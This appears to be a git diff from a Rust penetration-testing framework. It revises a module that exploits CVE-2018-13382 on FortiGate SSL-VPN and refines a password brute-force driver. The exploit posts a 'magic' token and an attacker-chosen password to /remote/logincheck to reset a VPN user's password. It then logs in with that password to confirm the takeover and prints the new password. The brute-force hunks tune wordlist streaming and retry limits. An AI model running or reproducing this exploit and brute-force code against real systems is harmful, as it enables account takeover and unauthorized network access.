"new_password": new_password,
"endpoint": format!("{}/remote/logincheck", base_url.trim_end_matches('/')),
})),
});
}
ResetResult::NotInVpnGroup => {
crate::mprintln!(
@@ -421,22 +409,53 @@ pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
})),
});
}
ResetResult::UserNotFound => {
crate::mprintln!(
"{} User '{}' was not found on the target.",
"[-]".red(),
username
);
}
ResetResult::Patched => {
crate::mprintln!(
"{} Target appears to be patched. Magic token was not accepted.",
"[-]".red()
);
}
ResetResult::Error(e) => {
crate::mprintln!("{} Password reset attempt failed: {}", "[-]".red(), e);
}
ResetResult::Success | ResetResult::Patched => {
// The reset response alone is NOT conclusive — a patched FortiGate
// returns the same ret=1/redir= login response. Confirm by logging
// in with the new password; emit the CVE Vulnerable finding ONLY on
// a real `ret=1` login. This is what stops patched hosts being
// falsely flagged as vulnerable.
crate::mprintln!("\n{} Phase 3: Verifying reset by logging in with the new password...", "[*]".blue());
ctx.rate_limit(&target_ip).await;
match verify_login(&client, &base_url, &username, &new_password).await {
LoginResult::Success => {
crate::mprintln!(
"{} Login with the new password CONFIRMED — password reset succeeded!",
"[+]".green().bold()
);
crate::mprintln!("{} New password: {}", "[+]".green(), new_password);
outcome.findings.push(Finding {
target: target_ip.clone(),
kind: FindingKind::Vulnerable,
message: format!(
"CVE-2018-13382: Password reset succeeded for VPN user '{}' via magic token (confirmed by login)",
username
),
data: Some(serde_json::json!({
"cve": "CVE-2018-13382",
"username": username,
"magic_value": MAGIC_VALUE,
"new_password": new_password,
"endpoint": format!("{}/remote/logincheck", base_url.trim_end_matches('/')),
"confirmed": "login_with_new_password",
})),
});
}
LoginResult::Failed(reason) => {
crate::mprintln!(
"{} Reset NOT confirmed — login with the new password failed ({}). Target is likely patched / not vulnerable.",
"[-]".red(),
reason
);
}
LoginResult::Error(e) => {
crate::mprintln!("{} Verification request error: {}", "[-]".red(), e);
}
}
}
}
}
@@ -476,9 +495,19 @@ async fn attempt_magic_reset(
) -> ResetResult {
let url = format!("{}/remote/logincheck", base_url.trim_end_matches('/'));
// The magic-token reset reuses the SSL-VPN login endpoint; the new password is
// carried in `credential` (same field the login uses), with `magic` flipping
// the request into a password set. `new_password`/`confirm_password` are kept
// for FortiOS builds that used those names. NOTE: the canonical magic value +
// exact field set vary by FortiOS version and want validation against a real
// vulnerable target — but correctness no longer depends on the reset response
// (success is confirmed by a follow-up login below), so a wrong field here can
// only cause a false NEGATIVE, never a false positive.
let form_body = url::form_urlencoded::Serializer::new(String::new())
.append_pair("username", username)
.append_pair("realm", "")
.append_pair("magic", MAGIC_VALUE)
.append_pair("credential", new_password)
.append_pair("new_password", new_password)
.append_pair("confirm_password", new_password)
.finish();
@@ -501,22 +530,19 @@ async fn attempt_magic_reset(
Err(e) => return ResetResult::Error(format!("Failed to read response: {}", e)),
};
// Analyze response for success/failure indicators
// Differential-response classification — used ONLY to colour user enumeration.
// Crucially, the ordinary FortiOS login response (ret=0 / ret=1 / redir=) is
// NOT treated as a reset success: that false-flagged PATCHED hosts (whose
// normal login response contains ret=1/redir=) as vulnerable. A real reset is
// confirmed solely by a follow-up login with the new password (see callers).
if body.contains("successful") || body.contains("password changed") || body.contains("reset ok") {
ResetResult::Success
} else if body.contains("vpn portal group") || body.contains("group membership") || body.contains("not member") {
ResetResult::NotInVpnGroup
} else if body.contains("user not found") || body.contains("invalid user") || body.contains("no such user") {
ResetResult::UserNotFound
} else if body.contains("invalid") || body.contains("denied") || body.contains("forbidden") {
// Generic rejection - likely patched
ResetResult::Patched
} else if body.contains("ret=1") || body.contains("redir=") {
// FortiOS often returns ret=1 with a redirect on success
ResetResult::Success
} else {
// Ambiguous - check HTTP status and common FortiOS patterns
// Some versions return an empty body or HTML on success
// Anything else (incl. ret=1/redir=) is inconclusive — confirm via login.
ResetResult::Patched
}
}
@@ -556,17 +582,18 @@ async fn verify_login(
let body_lower = body.to_lowercase();
// FortiOS login success indicators
if body_lower.contains("redir=") || body_lower.contains("ret=1") || status.as_u16() == 200 {
if body_lower.contains("ret=0") || body_lower.contains("failed") || body_lower.contains("invalid") {
LoginResult::Failed("Server returned failure indicator".to_string())
} else {
LoginResult::Success
}
// FortiOS /remote/logincheck returns `ret=1,redir=...` on a SUCCESSFUL login
// and `ret=0` on failure. Require the `ret=1` success token — a bare HTTP 200
// (the login page itself) is NOT proof of authentication, and treating it as
// success was the second half of the false-positive chain.
if body_lower.contains("ret=1") {
LoginResult::Success
} else if body_lower.contains("ret=0") {
LoginResult::Failed("server returned ret=0 (auth rejected)".to_string())
} else if status.as_u16() == 401 || status.as_u16() == 403 {
LoginResult::Failed(format!("HTTP {}", status))
} else {
LoginResult::Failed(format!("Unexpected response (HTTP {})", status))
LoginResult::Failed(format!("no ret=1 success marker (HTTP {})", status))
}
}
+11 -3
View File
@@ -1184,9 +1184,17 @@ where
let pass_path_owned = pass_path.to_string();
let reader_handle = tokio::task::spawn_blocking(move || {
crate::utils::load_lines_batched(&pass_path_owned, BATCH_SIZE, |batch| {
if let Err(e) = batch_tx.blocking_send(batch) {
tracing::debug!("Batch send failed (receiver dropped?): {}", e);
// `_until`: stop reading the moment the receiver is gone. With the old
// `load_lines_batched` an early return from the loop below (e.g. stop on
// first success) dropped the receiver but the reader kept scanning the
// whole multi-GB file, firing a failed `blocking_send` per batch.
crate::utils::load_lines_batched_until(&pass_path_owned, BATCH_SIZE, |batch| {
match batch_tx.blocking_send(batch) {
Ok(()) => true,
Err(e) => {
tracing::debug!("Batch send failed (receiver dropped?): {}", e);
false
}
}
})
});
+14 -4
View File
@@ -260,10 +260,20 @@ where
let jitter_ms = opt_u64("bruteforce_jitter_ms");
// medusa `-r`-style connection retries: `setg bruteforce_retries N` re-tries a
// retryable (transient/connection) error up to N times before giving up on a
// combo. Defaults to 1 when unset or zero (the historical behaviour).
let retries = opt_u64("bruteforce_retries");
let max_retries = if retries == 0 { 1 } else { retries as usize };
// retryable (transient/connection) error up to N times per combo. Unset → 1
// (historical default); explicit 0 → no retries; clamped to a sane ceiling so
// a fat-fingered huge value can't turn one combo into a billion attempts.
const MAX_BRUTEFORCE_RETRIES: usize = 10;
let max_retries = match opt_str("bruteforce_retries") {
None => 1,
Some(s) => match s.trim().parse::<usize>() {
Ok(n) => n.min(MAX_BRUTEFORCE_RETRIES),
Err(e) => {
tracing::debug!("bruteforce_retries '{}' invalid ({e}); using 1", s.trim());
1
}
},
};
let bf_config = BruteforceConfig {
target: host.clone(),
+1
View File
@@ -131,6 +131,7 @@ pub use modules::{
pub use wordlist::{
load_lines,
load_lines_batched,
load_lines_batched_until,
load_lines_cached,
load_lines_uncapped,
};
+41
View File
@@ -637,6 +637,47 @@ where
Ok(total)
}
/// Like [`load_lines_batched`] but the callback returns `true` to continue or
/// `false` to STOP reading the file. Lets a consumer (e.g. the streaming
/// bruteforce driver whose channel receiver was dropped) halt the read instead
/// of scanning a multi-GB wordlist to the end for nothing.
pub fn load_lines_batched_until<P, F>(
path: P,
batch_size: usize,
mut on_batch: F,
) -> Result<usize>
where
P: AsRef<Path>,
F: FnMut(Vec<String>) -> bool,
{
let file = fs::File::open(path.as_ref())
.with_context(|| format!("Failed to open file '{}'", path.as_ref().display()))?;
let reader = BufReader::with_capacity(256 * 1024, file);
let mut total = 0usize;
let mut batch = Vec::with_capacity(batch_size);
for line in reader.lines() {
let line = match line {
Ok(l) => l.trim().to_string(),
Err(e) => { tracing::trace!("skipping non-UTF-8 wordlist line: {e}"); continue; }
};
if line.is_empty() {
continue;
}
batch.push(line);
if batch.len() >= batch_size {
total += batch.len();
if !on_batch(std::mem::replace(&mut batch, Vec::with_capacity(batch_size))) {
return Ok(total);
}
}
}
if !batch.is_empty() {
total += batch.len();
on_batch(batch);
}
Ok(total)
}
/// Load lines from a file without the 100 MB cap.
/// For wordlists that may be very large.
pub fn load_lines_uncapped<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {